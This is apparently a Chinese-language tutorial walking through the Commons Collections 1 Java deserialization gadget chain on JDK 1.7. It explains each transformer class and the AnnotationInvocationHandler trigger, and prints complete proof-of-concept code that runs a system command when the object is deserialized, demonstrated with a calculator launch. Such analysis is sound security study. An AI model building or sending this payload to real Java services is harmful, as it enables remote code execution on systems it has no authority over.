Commons Collections 1 调用链
Commons Collections 1 调用链
本地环境:
JDK1.7.0_80
commons-collections:3.1
package com.tyut.CommonsCollection1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, IOException {
// 定义需要执行的本地系统命令
String cmd = "open /System/Applications/Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// 创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, transformedMap);
FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}
}
pom.xml添加依赖:
commons-collections:3.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
成功弹出计算器
分析
apache commons-collections.jar中的一条pop链CommonsCollections1,初次看的时候还是比较懵的,只能一步一步来分析看每一个函数的具体用法
Apache Commons Collections
Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用。
Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。
Apache Commons Collections中有一个特殊的接口,其中有一个实现该Transformer接口的类可以通过调用Java的反射机制来调用任意函数。
InvokerTransformer调用链
InvokerTransformer类,存在于org.apache.commons.collections.functors包,该类实现了Serializable接口
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
}
InvokerTransformer类的构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; //方法名称
this.iParamTypes = paramTypes; //方法所需要的参数类型
this.iArgs = args; //方法执行的具体参数
}
InvokerTransformer类存在transform()方法
-
需要传递Object对象类型的一个实例对象
input
-
通过反射invoke来调用了指定的
iMethodName
方法(注意:iMethodName,iParamTypes,args这三个参数是我们可以控制的,可以通过上面的构造函数进行传参)
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
我们模拟InvokerTransformer命令执行过程
通过构造函数传入需要的方法,通过调用transform(),利用反射执行我们传入对象的方法
package com.tyut.CommonsCollection1;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
public class test1 {
public static void main(String[] args) throws IOException {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", // 传入要获取的方法
new Class[]{String.class}, //该方法所需要的参数类型
new String[]{"open /System/Applications/Calculator.app"}); //具体参数内容
invokerTransformer.transform(Runtime.getRuntime()); //传入一个Runtime的一个实例
}
}
ConstantTransformer 调用链
InvokerTransformer 让我们可以通过反射调用任意类的方法,也就是说我们可以调用任意类的方法了如:通过InvokerTransformer.transform()方法可以调用Runtime.getRuntime()的exec()方法了,但是如何可以控制传递任意类呢?想要控制Runtime.getRuntime(),而不是我们自己需要手动传递.
ConstantTransformer
类,存在于org.apache.commons.collections.functors包,这个类同样实现了transform方法
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
public ConstantTransformer(Object constantToReturn) { //ConstantTransformer类的构造函数
this.iConstant = constantToReturn;
}
public Object transform(Object input) { //成员方法
return this.iConstant;
}
public Object getConstant() { //成员方法
return this.iConstant;
}
}
-
调用ConstantTransformer类的构造方法,传入Runtime.getRuntime()
-
调用ConstantTransformer类的成员方法
transform(Object input)
,成功返回构造方法中传参的内容,即传入一个Runtime.getRuntime,最后返回这个类Runtime -
唯一的意义就是它是Transform的子类,在CC链中很有意义!
他的transform方法就很简单,就是返回iConstant,而this.iConstant又来自构造函数的参数,所以,如果我们实例化时传入一个Runtime.class返回的也是Runtime.class那么也就解决利用链开头的Runtime问题。
public class Test {
public static void main(String[] args) throws IOException {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
Object transform = constantTransformer.transform(new Object());
System.out.println(transform.getClass().getName());
}
}
//java.lang.Runtime
ChainedTransformer 调用链
ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
ChainedTransformer
类的构造方法
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
ChainedTransformer
类的成员方法,该成员方法实现了Transformer的链式调用
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
第一次看到Transformer的链式调用的时候,不太理解啥意思,用下面这个列子说明
-
定义了一个数组
Transformer[]
,该数组中中第1个为ConstantTransformer类,第2,3,4均为InvokerTransformer类 -
将这个数组对象
transformers
传入到ChainedTransformer类的构造方法中,利用构造函数将transformers
数组对象赋值给变量iTransformers
数组 -
然后调用
ChainedTransformer
的成员方法transform
,每执行一次该方法,返回值作为下一次该方法的参数,即成为链式调用函数第一个调用的是
ConstantTransformer
类的transform
方法,即成功获取了Runtime类第二个调用的是
InvokerTransformer
类的transform
方法,利用反射获取到Runtime类中的getRuntime
方法第三个调用的是
InvokerTransformer
类的transform
方法,利用反射获取到Runtime类中的invoke
方法第四个调用的是
InvokerTransformer
类的transform
方法,利用反射获取到Runtime类中的exec
方法,并执行参数cmd命令
package com.tyut.CommonsCollection1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test3 {
public static void main(String[] args) {
// 定义需要执行的本地系统命令
String cmd = "open /System/Applications/Calculator.app";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
//创建ChainedTransformer调用链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执行对象转换操作
transformedChain.transform(null);//这里为null的是 一开始的object为runtime类,而getRuntime则不需要参数
}
}
TransformedMap 利用链
TransformedMap中,一共有三处函数使用了transform方法,分别是:
transformKey
方法
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
transformValue
方法
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object :this.valueTransformer.transform(object);
}
checkSetValue
方法
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
我们不仅仅需要找到transform方法,应该是明确找到上一步分析得到的构造链ChainedTransformer.transform()
方法
看到上面调用transform方法的对象分别为:keyTransformer
和 valueTransformer
在TransformedMap
类中,可以我们寻找的keyTransformer
和 valueTransformer
,可以看到这2个变量类型是Transformer,而且是我们可以控制的,所以,在构造poc的时候只需要将他的值赋为我们精心构造的ChainedTransformer就行
但是我在构造的时候发现使用了transform的三个方法的访问权限都是protected,也就是不能直接被外部访问,我们只有迂回一下了,TransformedMap类中一共有四个方法访问权限是public:两个构造函数,如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed);
}
return decorated;
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = this.transformMap(mapToCopy);
this.getMap().putAll(mapToCopy);
}
可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法,所以,我们可以通过调用实例化一个TransforomedMap对象
TransformedMap
类decorate方法,返回一个TransformedMap的实例对象,然后调用对象的put方法,从而执行任意命令
半成品poc如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test5 {
public static void main(String[] args) throws Exception{
String cmd = "open /System/Applications/Calculator.app";
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
outerMap.put("name","axin");
}
}
AnnotationInvocationHandler类
现在倒是找到了能够触发transform()的地方了,但是这还是不能在反序列化的时候自动触发呀,我们都知道反序列化只会自动触发函数readObject(),所以,接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的那几个方法:transformKey、transformValue、checkSetValue、put等等。
小知识点:
-
TransformedMap是Map类型,
-
TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法
上面提到了entryset, 关于Map类型的entrySet()参考:https://blog.csdn.net/weixin_42956945/article/details/81637843
有了上面的结论,现在的策略进一步转换成:寻找一个重写了readObject方法的类,这个类的readObject方法中对某个Map类型的属性的entry进行了setValue操作!(当然这个属性需要我们可控)于是就找到了sun.reflect.annotation.AnnotationInvocationHandler类,这个类是jdk自带的,不是第三方的,只对JDK7有效,因为jdk1.8更新了sun.reflect.annotation.AnnotationInvocationHandler
jdk1.7相关的实现
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
setValue操作,var5是this.memberValues中的一个entryset,并且memberValues是Map类型
var5.setValue()
Entry var5 = (Entry)var4.next();
Iterator var4 = this.memberValues.entrySet().iterator();
memberValues我们可控,构造poc时将memberValues设置为transformerdMap,那么就有可能触发setValue操作
还有个前提条件:
if条件!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)
var7 = (Class)var3.get(var6)
var3=var2.memberTypes()
var2=AnnotationType.getInstance(this.type)
而this.type是可控的
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
this.type就是构造函数的第一个参数(当然还是需要满足if条件才能赋值成功),所以,现在构造函数的第一个参数到底传什么才能满足我们的需求呢,首先它得继承Annotation,所以我们直接去找Annotation的子类,后面在看源码的过程中我才知道Annotation这个接口是所有注解类型的公用接口,所有注解类型应该都是实现了这个接口的,而漏洞作者用到的是java.lang.annotation.Retention.class
这个注解类
构造出来完整的poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC4 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
小细节:
1、java.lang.annotation.Retention.class确实能够使得我们的if条件成立,从而执行到var5.setValue()处
经过调试,我发现map的键值必须为"value",否则利用不成功
2、执行到setValue处,我们先停一停,准备填最后一个坑——为什么执行setValue就会自动调用前面提到的checkValue方法?
跟进setValue方法中看一看,从上图中我们已经可以看到var5的类型是AbstractInputCheckedMapDecorator$MapEntry
,所以这里执行的的setValue也是调用的AbstractInputCheckedMapDecorator$MapEntry.setValue()
,我们可以直接去setValue方法处下一个断点:
可以看到这里调用了this.parent.checkSetValue(),而我圈出来的地方也显示了this.parent的值是TransformedMap类型